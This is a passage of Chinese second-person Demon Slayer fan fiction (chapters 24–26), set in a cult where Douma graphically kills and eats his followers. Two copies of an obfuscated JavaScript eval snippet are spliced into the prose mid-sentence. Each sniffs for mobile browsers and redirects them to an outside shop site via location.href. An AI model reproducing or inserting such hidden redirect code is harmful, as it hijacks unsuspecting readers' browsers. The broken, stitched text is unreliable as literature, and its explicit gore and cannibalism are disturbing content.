怎么会有人这么蠢呢,还是离她远一点吧。由美想。 不远处又传来灯芯爆开的哔剥声,她赶紧提着工具过去了。 屋内,童磨看清了两人从靠近、分开再走到相反方向的全过程,玩味地舔了舔嘴唇。 太有趣了,这里的人来的来、走的走,来时满腹牢骚,走时带着神明的祝福获得安宁。二百五十张口吐出发酸的气息,二百五个渴望织成一片升天的绮梦,要是没有这些鲜活、蓬勃的欲望时刻环绕在周围,该有多无趣啊。 他们怀抱着失意的苦闷、痛苦的倾诉、幸福的幻想,膨胀的精神和营养的□□一起填入他的腹中,完成献祭,和他融为一体实现永生,虽然没有进入天堂,怎么不算极乐呢? 我可真是个大好人啊。童磨开心地笑了。 得知无惨过来,黑死牟没有感到奇怪。 虽然没有触犯“不得长期聚集”的禁令,但他的确在童磨的势力范围里停留太久了,必须要有一个解释。 火车那晚,他强烈的情绪波动不可能瞒过无惨,做为洞悉下属心灵的鬼王,无惨一定把他的心声听得一清二楚,但这不能取代他自己的陈述。 黑死牟认为,他有义务向那位大人坦白。 可无惨没有召唤他。 黑死牟独自等了很久,才确定了这一点。他从暂居的地方出发漫无目的地游荡在大街上,稠密的人潮是鬼天然的掩护。 夜风刮过,他伸手摘下黏在身上的传单,一幅奇怪的简笔画映入眼帘。 黑死牟眉心跳了跳。 画面内容看不懂,上面的字迹他可是太熟了。 你太胆大了,简直胆大包天。黑死牟百分之百相信,这和童磨搞出的事有关。 脑内传话警告只会让童磨得寸进尺,他得想个办法解决这件事。 黑死牟揉皱了纸,在空气中寻觅你的气息。 24.第 24 章 第二天,你继续贴,不信那个怪人不会再来。 上次画好的竟然被撕光了,可恶。你从包里掏出胶水,把这另类的“寻人启事”贴到公告栏和每一根柱子上,用双倍的量。 你努力要贴得更高一些,结果胶水淌下来弄脏了手,你懊恼地和它奋战,视野里出现了一片紫色的衣角。 是黑死牟! 瞬间,你的脸红透了,恨不得找个地缝钻进去。这个时候乱贴小广告还没成为被广泛谴责的不文明行为,你心里是这么想的,但被当场逮住是另外一回事。 “早上好呀,黑死牟先生。”你眼神乱飘,声音发虚,“我要上学去了。” 他看着列车缓缓靠站。 “我也坐这一趟车。” 你笔直地坐在座椅上,两手规矩地贴住膝盖,全程目不斜视,比老师盯着还认真。 黑死牟姿势随意得多,他双臂环抱靠着椅背闭目养神,一句话不说,你已不敢越雷池一步。 车到站了,你小心翼翼:“黑死牟先生?” 他睁开眼睛往外走,你跟个小媳妇一样委委屈屈地跟在后面。 “黑死牟先生,我要上学去了。”你弱弱地重申。 他停下,你大气不敢出快步走开了。 黑死牟看着你小跑着溜到站台外,犹犹豫豫地回头看一眼,就往学校走了。他视线下移落到脚边,火车旁高大的建筑物投下长长的阴影,边缘处是一道金色的线,金线外是阳光的世界。 你赶路到一半就慢了下来,气快喘不过来了。你捂住胸口,好奇怪,为什么非得他同意了才能继续走啊! 你默默吐槽着,走到了学校附近。远远地看大门外一个人也没有,走近了才发现有一个妇女打扮的人正焦虑地在门外徘徊。 时间还早,就等会儿吧。你不爱管闲事,装作没看见脚步一转换了方向。谁料那人眼前一亮,赶紧抓住了你。 “小同学啊,能不能带我见见你们的校长啊?” 失策,忘了这身制服了。你赶紧说:“外人不能进我们学校。” 妇人固执道:“我不是外人,我女儿在这里念书呢。” 你看她脸色枯瘦蜡黄面容憔悴,衣服的材质却不差,像个生活过得去的人,应该供得起孩子读书,就说:“那你说,她叫什么名字?” 妇人眼睛亮了:“她叫久子,我不见校长也可以,你让她出来见见我吧。” “可是久子已经被开除了呀,她去年就不上学了。”你想跑,可她力气大得出去,抓得你胳膊都疼了。 “不可能!”她激动起来,“久子说她住校了,她就在里面,你带我进去好不好?” 你疼得冒汗:“好好好,我带你进去。” 跨过了学校的铁门,你马上猛敲门房的窗户,里面的修女出来立刻分开了你们。 女人被带到了门外,你站在原地喘着粗气,闻讯而来的玛丽亚小姐一把搂住你不断地安慰。 铁门外女人挣扎着求告:“让我进去,我到教室里看一眼,一眼就走。” 这时到来的学生多了起来,都吓得不敢靠近,门前空出了一块半圆的空地。 你不顾修女们的阻拦,趴到铁门边问她:“久子真的不在学校,你觉得她还会去哪里?” 女人停止了挣扎,一脸绝望。 “万世极乐教。”她一字一顿地说。 “万世极乐教在哪里?” 你想,千代一定也在那个地方。 你和老师请假,学监体谅你受了惊吓,痛快地批准了。你离开学校,立即叫车赶往火车站,月票是固定时段的,你到售票处买了最近的一列车就往家赶。 那个戴天狗面具的男人要打探消息,一定会在人流量多的地方,车站肯定常去,你蹲守上一天,不怕蹲不到。 千代浸湿帕子拧一拧润湿父亲干裂的嘴唇。哗啦一声,格子门推开,她的母亲擦着眼睛走了进来。 “我们送父亲去医院吧。”她哀求道。 “有什么用,又不是没去医院看过。”母亲说,“治不好的!只有教主能救他,你就听妈妈的话吧。” 千代不理她,抬起父亲的手:“爸爸,我们去医院,好不好?” 榻榻米上面色青灰的男人睁开眼,歪头看向妻子:“拿来了吗?” 女人点点头掏出一块莲花形状的冰,男人迫不及待地含住不说话了。 “千代,”女人再次请求,“你就入教吧,教主会帮我们更多的,你忍心看爸爸这么难受吗?” 千代的眼泪一滴滴落下来。 “你们要给自己的钱我不说什么,哥哥本来有好工作的,你们一定要叫他回家,回来就哄着入教,他的积蓄你们都不放过,全给了教主,为什么,为什么要这样?我能有什么东西,连我也不能放过?” “啪”。女人甩了她一巴掌:“你忤逆、不孝!你要看着你父亲死,你要看着我们死!是你不虔诚,他的病才好不了!” 千代大哭起来,母亲推搡着把她往门外推:“滚!” “妈,别赶我走,”她哭着反抗,“您醒醒,父亲救不回来了,让他去医院舒坦几天吧,当我求您。您信我呀,为什么不信我……” 门再一次拉开了,千代的哥哥铁青着脸进来,把妹妹拉到一边,然后去拖病床上的父亲。 他俩的母亲一愣,赶紧扑上去:“干什么,你要干什么!” “去医院。”他斩钉截铁,继续动手。 千代母亲撒泼打滚起来:“我不准你动,你要害死他吗?给我松手、松手,你个杀人犯!来人,救命啊,有人杀人啦,谋财害命呀!我做了什么孽生出你们这两个不孝子,就知道钱呐!老公,你起来,你干嘛撇下我呀,你好好的,他们怎么敢这么对我,他们要你死,要图你的钱呀……” 千代蓬乱着头发冲上去把暴怒的兄长拖开了。 “哥哥,哥哥你别生气,”她哭得上气不接下气,“妈妈她是太痛苦了,她接受不了父亲的病,你别怪她。” 他的怒火像浇了水一样整个熄灭,贴着墙滑坐在地上不再吭声。 “我看父亲就在这两天了,”千代哭着说,“到时候我们再想办法,把妈妈劝回去吧。” 千代在义塾学过护理,她知道癌症晚期病人的器官腐败产生了热要吃点冷的才舒服,但实际上病人这个阶段已无力回天。她试图弄清楚那个教主是怎么徒手制冰的,但每次都失败。 一定是什么骗人的把戏,等我知道了,就能告诉妈妈真相了。千代安慰自己,到时候一切就都好了。 兄长没有接话,摸摸她的头:“我去弄些吃的。” 万事极乐教的教徒都是一起用餐的,他们在歌颂完教主的恩赐后开动,他从来不许妹妹到那种地方,都是自己打包好带回来。 千代点点头,送走哥哥,到走廊尽头对着镜子整理母亲扯乱的头发。梳顺了一边,再看另一边,镜子里照出一张她不想看到的脸。 “别跑啊。”久子拦住她,“怎么看到我就要跑?” 走廊足够宽,千代绕一圈无视她直接走掉。 久子大为光火,追上去:“你得意什么,教主马上就要把你全家赶出去了,他给你们的祝福简直是浪费!” “求之不得。” “站住!”久子是真的怒了,“得意什么,你瞧不起谁?你以为你有什么,敢冲我嚷嚷,等着瞧吧,到时候你母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073891|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲亲自来给我道歉,求我说好话呢。” 千代猛地转身,双目赤红地扑了上去。 “你闭嘴,你给我闭嘴!” 久子疯狂地喊叫起来:“来人,救命!这里有疯子!” 闻讯而来的教徒们一拥而上,七手八脚地把她救下来。千代摁到地上还在痛骂,久子脸上挠了几道、衣襟扯烂,狼狈不堪,怒吼道:“疯子、蠢货!有种拦着你爸妈,别让他们来求我啊。可惜你没用,拦不住,你的父亲母亲才不在乎你,他们宁可来讨好我,知道为什么吗?滚一边哭鼻子去吧!” 千代又一次扑上来:“你又知道什么,闭嘴!” 教徒们赶紧把她摁下去,唯恐教主的宠儿再受什么伤,直到有人嘶吼着闯进来,挥舞着手里的掸子一路狂抽,他们才轰然如鸟兽散尽。 千代躺在地上抽泣不已:“哥哥。” 来人丢下手里的掸子,跌倒在地同样哭了起来。 你坐在车站外长椅上,死死盯住来来去去的每一个人,盯到太阳西斜,也没有看到那个戴红色天狗面具、穿蓝色云纹和服的人。 初春的傍晚天气还有些凉,你站起来搓搓手、跺跺脚继续等。 太阳落到了山头,余晖将云彩染得鲜血淋漓,你不安地交替两只脚的重心,决心不再等下去,直接到警局报警。 “小妹妹,你家长在哪里?” “我自己不能报警吗?” “我这不是给你记录了?” “我还没说到关键地方,你记什么了?” “小妹妹,再问一次,你家长在哪儿?” 你揪紧刘海,深呼吸维持平静:“我也再说一遍,那边的山上……” 砰地一声,警局的门撞开了,一个黄衣服小个子的男人怒发冲冠地闯进来:“干什么抓我?” “还能干什么,你违反禁刀令了,知不知道多少人投诉你啊?赶紧交罚款,不交不能走。” “还得交罚款?你可知我是……” 你拍案而起,警局安静下来。 “这个人我认识,他的罚款我交了!” 警局大门外,你严肃地观察他:土黄色和服上衣,三角形鳞纹,腰间挎一把刀。虽然没有戴面具,但这着装风格无疑让你想起另一个人。 “先别多问,”你抬手做一个制止的动作,“时间紧迫我们边走边说。” 你迅速买了两张票,让他把刀藏在衣服下,一起上了火车。 路上,你告诉了他这里邪教猖獗、多人失踪的事,还有久子母亲说的大致方位。 那个叫桑岛慈悟郎的男人说他是一个什么组织的剑士,是专门处理这种事情的,他一定能把人救出来。 你忧心忡忡:“人能救出来就好,我有一个朋友很可能在里面,你能关照一下吗?” 他询问了千代的名字,拍胸脯保证:“没问题。” 火车停靠在一个人少的小站点,你拉着他下车,就要往目的地赶。 “不必了,小姐,您提供的信息已经够了,剩下的路程我一个人会更快。” 他招手,一只浑身漆黑的鸟停在肩上。 原来是乌鸦,你险些被吓到。 他见状解释:“我在联系同伴,他在另一个方向搜寻,马上就赶过来。小姐,晚上危险,您快回家吧。” 说完,他向山林深处跑去,转眼不见踪迹,比上次那个蓝衣服还要快。 你以手抚膺,稍微感到放下心来。 千代,你可千万要等到啊。 夜晚的凉风拂过,寒意从后颈轻轻流过。 “你好呀,和黑死牟阁下在一起的小姐,”童磨展开折扇,“是来我家里做客的吗?” 25.第 25 章 你不知道他用了什么方法,飞速地就到了另一处地方。 你在强烈的眩晕和不适中看清万世极乐教的内部景象,屋内垂下华丽的紫色帏幔,屏风和障子上是大片的莲花,屋外流水潺潺,纵横交错的小桥架在莲池上通往堂屋内。 童磨盘腿坐下,舒舒服服地靠着紫色的柔软靠背,戴上一顶黑黄两色的僧帽,黑色的底黄色的边,样子和佛教里的毗卢帽差不多,帽檐前方翻上去的形状像一朵莲花。 你只觉得怪异又恶心,移开视线吧又躲不开那些无处不在的宗教装饰,索性闭上了眼睛。 这是不正常的,完全不符合常理,一定有什么障眼法,要不就是你疯了。 耳边响起了嘻嘻的笑声:“太伤心了,我是真心请客的,这里有什么让你不满的地方吗?” 你猛地张开眼,推开他那张凑过来的脸:“一开始请客的方式就不正确的话,后面做什么都是没有用的。” 当务之急可不是思考物理定律,小命才要紧。逃跑目前看来不可能,那就尽量拖延时间,看桑岛慈悟郎能不能赶过来吧。实在不行,假意敷衍先入教,再找出去的机会,再不济,父母看你不回来也会到火车站问的。 “那我怎么补偿你呢,美味的小姐?”他顺势低下头,用脸颊蹭着你的手心,玛丽苏彩虹眼眨一眨。 啊,晦气、晦气!你鸡皮疙瘩起了一身,就要跳起来,可手根本抽不动。 他看起来只是轻轻地贴住手背,你已动弹不得。 你冷静下来。此人是有点子邪门的,不能激怒他。 “教主您是能做出补偿的人吗?”你反问道,“如果您耐心地听过我说话,此刻哪里需要您来补充呢?” 童磨委屈地撇撇嘴:“平时我是不会这么无礼的啦,可小姐你实在太过美味,错过请客的机会我可是会后悔的。” 你不想再叨叨这些车轱辘话了:“那我要见一个朋友,可以吗?” “可以是可以,不过,”他玩起你的手指,“我怎么知道我的信徒愿不愿意见你呢?” 你忍住扇人的冲动,咬牙切齿道:“你把人叫过来,我当面问,她不愿意就算了,这总没问题了吧?” 童磨放下你的手,打了个响指:“好啊,我这就召开法会,让他们都来,你能见到人了,也不必担心她不愿来,如何?” 这根本不是你想要的,可短时间你想不出反驳的说辞,眼睁睁地看着身披法衣的教徒鱼贯而入,挤满了眼前的空地,他们有几个好奇地看你一眼,更多的只是按规矩跪坐下来,一副绝不会质疑教主任何决定的姿态。 单这么一个照面,你就开始胸闷气短。 千代一家是最后进来的,她的母亲走在最前面,面色带着不自然的潮红,后面是她的兄长背着父亲慢慢地走,你迅速锁定了躲在他身后拱肩缩背的千代,而她也似有所感,抬头直直地望过来。 你们的目光在空气里相撞,她震惊、愧疚、痛苦一起袭来,你几乎要按捺不住自己。 童磨的手徐徐轻拍在你的肩上。 “好了,好了,”他展开扇子划出夸张的弧线,“大家坐好,法会要开始了。” 你被迫坐在前排的一个垫子上,看他输出。 “昨天,神明给予了我新的旨意,”童磨做一个夸张的手势,“祂要我赐福给虔信的子民前往极乐。” 他话音刚落,人群迸发出不可思议的热情,他们失态的热泪、狂喜像浪潮一样席卷整个屋子,你的血管跟着突突地跳起来,怒火在里面汩汩地流动。 童磨击掌示意大家安静下来:“那么,谁先来呢,谁有纯洁的发愿要传达给神明呢?” “我,”你举起了手,“我有疑问,你从哪里听到神明的声音,怎么把信徒送往极乐?” 荒谬的场景彻底激发你的逆反心,恐惧抛到了脑后,你只想把这个无耻之徒的假面具撕下来踩碎! “咚”,你后脑勺一痛,是后面的教徒把念珠砸了过来。 “竟敢质疑教主大人!”他怒吼道。 “竟敢质疑教主大人!”数不清的人都叫起来,他们群情激愤摩拳擦掌,恨不能把你生吞活剥,千代急得不行,兄长把她拦住了。 童磨抬起手就制止住台下的混乱。 “我现在就可以解答你的疑问,”他笑吟吟的说,“我的发色出自神明的祝福,我的眼睛是我能听到神界声音的证明,我遵奉祂的意志将凡人送往极乐。” 你:“白头发说明身体在合成黑色素上有障碍,七彩眼睛是光在虹膜衍射的结构色,你没有什么特别的!” 童磨摇扇子的手停下来。 “那你怎么解释你的到来呢?”他两手摊开,头一歪,天真地看着你,“我没有向你展示神迹吗?神还没有对你发出指引说明什么才是真的吗?还是说,你和别人一样,宁肯相信漂洋过海而来的伪神?” 他用扇柄的一端指向你的胸口,脸上戏谑的笑容一刻都没有消散过。 你捏捏湿漉漉的手心,深呼吸稳住发抖的声音,伸手把挂着十字架的项链摘下来放到一边。 “不要预设我的立场,也不要用你的那一套来曲解我。”你说,“阅读先人的典籍,从中学习全人类的智慧,不等于给某一个概念献上忠诚。你的神迹和我的质疑毫不相干,一切事物、现象都有它的原因,这不是神的创造。” “嘴硬的小姐,”他伸出一根手指,上面结出莲花形状的冰晶,冰面持续升高变成一小尊佛像,“神就出现在你面前,也不认吗?” 你紧紧盯着他的手部动作,很遗憾,看不出任何破绽。可惜你化学学得不好,想不起来制冰的反应式,不然就能揭穿他了。 “我活着的这些年里,神从来没有出现过,”你说出的每一句话都发自肺腑,所以没有一点磕绊或气虚,“但是,我也以不会让任何神感到羞愧的方式活到现在了。今天我见到你,教主先生,我要对你的‘神’说我很失望,历史上一些最好的人并不信神,而某些最坏的恶行是以神的名义干的。” 你用眼神表达“你就是这样干的”,童磨没有动作。 你于是继续说:“你所谓的神迹是这么无聊的把戏吗?它和这个世界的规律究竟有什么关联,它是代表着创世的伟力还是造人的功德,这些是怎么实现的,祂指引的极乐在什么地方,你的神能做出解释吗?如果不能,神只是袖手旁观祂的造物,那追随神的意义是什么。看到神迹就要纳头便拜的话,歌颂一座山川就等于遵奉了一个神灵,信徒为什么不能相信自己内心的善意,非得给你上供?” 不用回头,你也能感到身后一双双仇恨的眼睛。你的言辞在他们看来已经到了冒犯和羞辱的地步,不是童磨还想维持秩序,不敢相信现在已是什么场面。 但你也不后悔,你只恨事发突然准备不充分,不然绝对要拿出码十几万字毕业论文的功力用唾沫星子淹死他!就他会拽词?你也会!拖上几个小时,不怕援军不到! 不过,那小个子和他的同伴怎么还不到啊?枉他长了两条腿,跑那么快,到不了目的地有何用! 有人尖声骂起来,你听出是久子的声音:“她怎么在里,赶出去啊!” “哈哈哈哈哈,”童磨仰头开心地笑出了声,“之前只觉得小姐你可爱又美味,现在才发现,是真的很有趣啊。” 他舔舔嘴唇:“难怪黑死牟阁下那样喜爱你,我也喜欢得不得了,小姐你就留在这里,陪着我聊天解闷好不好?” 好你个大头鬼! 你险些绷不住面皮要破口大骂了。在他怪腔怪调的调笑下,你再次起了一身鸡皮疙瘩:那一句“美味”,你听过好几遍,都是玩笑的口吻,可刚刚,他的话里充满了,食欲。 那是真实的食欲,口气和你在点心铺的橱窗里看到新式的西洋奶油蛋糕、妈妈把刚烤好的牛排端上桌别无二致,如此轻飘飘的感慨经他那样天真残酷的人说出,格外毛骨悚然。 你心中警铃大作,瞬间生出的恐惧甚至压倒了童磨出现在你背后的那一刻。 极致的恐惧中,眼前的景象变得特别慢,像卡顿的视频,童磨的嘴角一帧一帧咧开,教徒们一帧一帧动作,背景音是你粗重的呼吸。 越来越快的心跳中,你的大脑变得格外清晰,思维转动地飞快。 食人是从古至今在各种人类群体中都存在过的行为,同类相残和剥削的终极形态就是食人,有些宗教会用于丧葬仪式,相信食用死者可以获取力量。 这就是童磨说的极乐,这就是他笑你的原因! 啊啊啊啊啊啊啊啊! 你知道万事极乐教是什么地方了! 耳朵内轰的一声,你什么也听不到了。你愤怒、发寒、惊恐,精神彻底崩溃,每一个细胞一起对你发出尖叫,你想同样叫出来,身子却不受控制地发软。 童磨优雅地起身,做出邀请的姿势:“请大家依次上前来,我来挑选奔赴极乐之人。” 你浑身僵硬地看着那些人带着痴迷的表情乖乖地排好队,一无所知地前进,他们有的是破产的商人,有的身患重疾,有的在赤贫线上挣扎……他们是被排挤到社会边缘的人,即使马上就消失,也不会被谁发现。 你终于失控地跳了起来:“啊啊啊!停下,你们快停下啊!” 这里的信徒少说也有几百个了吧?全跑起来,大部分都能逃出去的! 你扯着嗓子大喊:“跑啊!别信他的,他才不是什么教主,他是要杀你们啊!” 童磨悄无声息地贴过来,下巴亲呢地搁在你肩上:“好聪明啊,怎么猜到的?要不要再猜一猜,我要享用几个呢?” 你尖叫着停不下来,可这也没用,挡不住他的话一个字一个字往耳朵里钻:“无惨大人要我控制人数在二百五十个以内,可数起来也太麻烦了吧!对了,我就随便吃几个,吃完了再数,或者你帮我数?” 他吐在你脖子上的气息凉得像一块冰,声调特别像上辈子读小学的小表妹和你抱怨作业多的样子,你再也受不了这种感觉,尖叫着转身就要打他! 久子终于看不下去,冲过来把你拖下去了。 “你跑这儿来发什么疯?”她狠狠地把你推到墙上,“好好的法会,都被你破坏掉了。” 你歇斯底里地疯狂扭动:“你才是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078607|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疯了,你信这种人!你自己信不够,还带着别人,你害人不浅,你……” 她一脚就把你踹到了地上。 “你懂什么!”她怒不可遏,“我不许你这么说,我爱他!” “什么?”你怀疑自己听错了,怀疑一句话的功夫整个世界都出了错,只剩你一个正常人,因为不理解,说不出任何有效的话,只能徒劳地发出疑问。 “我爱他。”久子重复,“他也爱我,他无条件地爱我!” 你明白荒谬是种什么感觉了。 “就这?”你怒吼,“就为了这个你搞了这么多?” 久子居高临下怜悯地看着你:“所以你不明白,有人这样爱过你吗,你有得到过一丝无需理由的爱吗?” 你彻底震住,再无力争辩什么,内心陷入到巨大的悲凉中。 “久子,”你躺在地上说,“从出生到现在的一切‘条件’构成了我本身,谁无视它们,就是无视了我,你能明白吗?” 如果爱可以不讲条件,爱一个人和爱一颗石头有什么两样,他又为什么非你不可?醒醒,什么无条件的爱,那是杀猪盘! 这话你想说出来,但是不行了,剧烈的情绪起伏让你头晕眼花,爬起来都困难。你这才想起,在车站等人的这半天里,你什么东西都没吃过。 久子后退半步,拧着眉看你:“行了,和你说不通,你就待这儿,别到法会上大吼大叫。” 她转身就要走,不妨一条黑影蹿过来,一下子锁住了她。 “久子,我就知道你在这儿,快和我回去吧,我们回家去。” 久子顿时面目狰狞:“你放开我,我不会跟你走的,听清楚了吗,放手!滚,给我滚呐!” 女人放声大哭:“你不想去学校我不逼你,我再也不逼你了,久子,你不能不要妈妈啊。” “放手,我没你这样的妈,还来找我做什么,你以后就当我死了!” 女人只是哭泣,怎么也不肯放手。 “是我的错,以前都是妈妈错了,你原谅妈妈,我们回家去吧。” 你被动观看八点档狗血母女剧情,脑瓜子嗡嗡的。 久子也为你这个观众恼羞成怒,气得大骂起来:“少在这里丢人现眼,你跑这里,就是来给我丢人的吗?” 女人不敢松手:“那你先跟我走。” 久子冷笑:“你怎么不跟我留下来?” 看到她犹豫,久子的脸马上冷了:“又是这一套,你永远在骗我,永远不把我当回事,还口口声声是为我好,为我好你会这样?” “不是的、不是的,”女人慌忙辩白,“不能留在这里呀,这里有问题,这里……” “够了!”久子叫得比训斥你还大声,“我比你清楚这是什么地方,这儿好,这儿有人关心我、爱我,比家里强一百倍!” 啪,女人狠狠地帅了她一巴掌。 你手脚并用爬起来踉跄着往外走,生怕再看下去就出师未捷身先死了。 身后是久子快掀翻屋顶的叫声:“你打我?你还有脸说爱我……” 你越走越快,声音也追得更快—— “你爱我就不会这么对我!你爱我怎么才给我这么点钱,害我什么都没有,在学校里被人嘲笑。钱呢,爸爸给的钱呢?那么多钱都被你花了吧!你还跟那些不三不四的男人混在一起,你没脸、下贱,就是你这么下贱,爸爸才不要我们的,找你那些男人去吧,别来找我!” “不是的、不是的……”女人哭得撕心裂肺,你已经跑出走廊了。 千代小跑到屋外扶住你,眼泪滴下来:“你怎么来了,快走吧。” 你两腿哆嗦个不停:“你呢?” 千代别过脸:“我过两天就走。” 你为她的乐观苦笑:“千代,我们没有时间了” 另一边,久子母女仍在激烈地争吵。 “我没有不爱你,是你爸爸,你爸爸他根本就没有认你,他走了就再没给过钱。是我错了,我骗你他每个月都给钱的,假的,全是假的,钱是我想办法弄来的,我都给你了,我有多少,都给你了呀!” “骗子、骗子,还在骗我!”久子拳打脚踢要把她推开,“你说谎,我爸不是这种人,他的错就是和你生了我,我为什么是你这种人生出来的,我宁可不要活!” “我生你的时候不知道啊,我不知道他有家室了,被骗了也是我的错吗?我过够苦日子了,我想让你,我想让我的孩子享福才跟他的……你怎么跟他一个样,都没良心啊,你们没良心啊,我不活了……” 屋内,童磨一手支颐,听着信徒们挨个发出宏愿,用扇子挡住脸悄悄打了个哈欠。好无聊,都是些千篇一律的梦想,耳朵都要起茧子了,怎么看都是那边比较有趣,好想去那边啊。 突然,他眼睛一亮,坐直了。前面的信徒误以为得到了教主的青睐,兴奋得脸都红了。 居然引来了鬼杀队,我这阵子果然是太招摇了,啊,好开心,来玩的人更多了。但是,不能来得太快,破坏了我准备的礼物哦。 童磨手一挥,捏出一尊结晶御子,招呼它朝门外奔去。 26.第 26 章 “千代,我们没有时间了,这里马上就要变成地狱了!会死人的,会死好多人!” 她不可置信地看着你:“你从哪里知道的?” “别管我怎么知道,到了这个地步还想活命只有逃,从现在开始头也不回地逃!”你使劲拽她的手,没拉动。 “里面那些人,大部分没救了,他们听不进不同的话,对外界的反应都没有了,你也要这样吗?” 千代的眼泪扑簌簌地流下来,她使劲摇头:“我要把我哥带出来,至少把他带出来啊!别管我了,你先逃吧,我找到我哥就出来!” 你松开手从千代的胳膊上滑下来,你明白她没有不相信你,但每个人都有他无论如何也割舍不下的东西。 “多保重。”你流着泪跑开,没头苍蝇一样穿过眼前的每一道门,不管到哪里,只要离那个魔鬼远一点就好。 童磨的嬉笑像花衣人的魔笛声追索过来,环绕在你身边。 法会现场,他准备好要享用精心挑选的晚餐。几位少女懵懵懂懂,进入了紫色的帏幔。 你陷入到鬼打墙一样的迷阵中,好几次听到金属激烈碰撞的声音,下一秒又远去。你大喊着“我在这里”,始终无人回去。 你又累又饿,强打起精神的身体发出严重抗议。 “为什么要逃呢,一起来玩吧。”他鬼魅一样浮现,让你看清自己的努力在他眼里多么可笑。 “她怎么也在啊,”久子不满地抱怨,“说的那么好听,结果就是什么人都能来嘛!” “安心啦,”童磨将她揽到怀里,“她才不会加入进来呢,我的小女孩儿才是第一个。” 久子露出开心的笑容,你却如同看到了最恐怖的东西,捡起一块石头就冲他砸了过去,这一次有经验的教徒及时地把你拦了下来。 你放弃挣扎,只想躲开接下来要发生的事。童磨怎么会让你如愿,示意那几名少女不得松手。 “久子为什么会来这里呢?”他含笑看向怀中的人。 “我不是说过了吗,”久子很适应这个姿势,她满不在乎道,“这里有我想要的一切,我不再需要别的什么了。” “说得太好了,”童磨流出了感动的泪水,“这才是神明会喜欢的好孩子,极乐世界欢迎知足的人,你愿意前往极乐吗?” 久子感到幸福,她说:“只要是和你一起。” 你痛苦得痉挛起来。 童磨夸奖她:“所以我最喜欢久子了。” 久子开始不安起来:“您不是爱我吗?” “我爱你直到此刻。”童磨说着,右手插进了她的胸膛。 “你知道吗?”他抬头看向你,鲜血从嘴角滴答下来,“我发现人的情绪、情感不单单是表情和行为的变化,还会影响到肉质。” 然后,他慢条斯理地吃完了手里的那坨东西,像个美食家一样兴致勃勃地和你交流经验。 而久子——天呐,她还活着,仰面滚落在地上,两眼瞪得老大,直溜溜地瞪向天空。 她说:“妈妈,救我。” 摁着你的女孩们早已尖叫着四散逃跑,童磨从容地游走在她们之间,顺手取走自己想要的部位向你点评。 “悲愤痛苦让心肌膨胀,伤心抑郁胃部会紧缩,怒火使肝脏变化……所以每个人好吃的部位不一样。当然,女人的话,最有营养的还是子宫。” 他丢下手里的少女,她的腿还在踢蹬。 “至于你,”他兴味十足,用手勾勒你的身形,“你哪里都好吃,血液流经的每一块部位都很美味,我好想想吃啊——开玩笑的,不好笑吗?” “哎,刚刚是第几个了,你没数?没数也没关系的!我们重新开始。”他拉着你手到处参观,先在帏幔后环绕一圈,再走向外面尚不知状况的信徒。 “久子的心最好吃了,那是一颗多么复杂装满爱又装满恨的心啊,她的母亲呢,胃最好,养家的压力一定很大,口感都脆脆的了……还有这个人,我猜他的心、肝、胆保准好吃。” 他停在一个商人面前,撕纸一样弄断他的肋骨,血溅了你一身。 “虽然是抱着拯救全家的决心前来,但为了筹集献给了我的钱眼睁睁看着自己的孩子穷困致死,很难说是善举了吧,你说,就算真的有天堂,这样的人能进去吗?” 你从他说第一句话起开始恶心反胃,那只血淋淋的手刚碰到你就呕吐起来,空荡荡的胃里什么也没有,你吐出了发苦的液体。 “啊,还有什么美味呢?”他眯着眼睛四处搜寻,屋内已乱成一团,有人清醒过来绝望地哀嚎,竟还有不少人误以为是教主的考验,仍好好地端坐在原地,其中就包括千代的父母。 你连苦水都吐不出来了。 “真伤脑筋啊。”他松开了手,摸着下巴苦恼地挑选起来。 “对了,那个叫由美的女孩呢,她在哪里呀?” 抓住这几秒的空档,你冲了出去。童磨没有阻拦。 “黑死牟阁下,我有好好地遵守约定,一下都没碰她哦。”他开心地想,“我还让她玩得很高兴呢,我真是太好心了,你会感激我吗?” 你跑出了万世极乐教的宅邸,一头扎进深山老林中,惊起的归鸟振翅飞高发出哭泣一样的怪叫,像极了恐怖片里的镜头。你已经麻木,在每一个岔路口凭直觉前进。 山路狭窄崎岖,你不顾一切地跑,衣服划开了好几道口子,脸和手也火辣辣的,脚早就痛得失去了知觉。 你曾经非常非常怕痛,小学体检扎手指都要心理建设半天,现在□□的疼痛是微不足道可以忽略的东西。 这是哪儿,我还跑得到有灯光的地方吗?你绝望地想着,根本不敢停。 你跑过一段平缓的小路,不知道下面就是陡坡,尖叫才冲到嘴边就掉了下去。 你重重地拍在了坡面上,那儿每一处凹凸不平都给予你几倍的重击,你像上岸的鱼一样打挺,依旧刹不住下滑的趋势。 要死了吗?要是有块大石头,脊柱都会撞断的吧,那还不如死了。 求生欲的催促下,你两手乱抓,擦得血肉模糊,什么也拽不住。 “啊,啊!”你不住地尖叫,好半天才停下来,不住地倒气。 “好些了吗?”黑死牟问你。 闻到空气中那股令他头晕目眩的香味,黑死牟动弹不得,僵立好久才恢复过来,只来得及在山坡下接住你。 放学时间,没看到你出现在火车站,黑死牟就感到了不妙。太阳一落上,他立刻展开搜寻,总算没有太晚。 稀血的味道并不浓郁,他飞快地扫视一眼,的确只是皮外伤,衣服上的大片血迹应该是从别处溅上的。 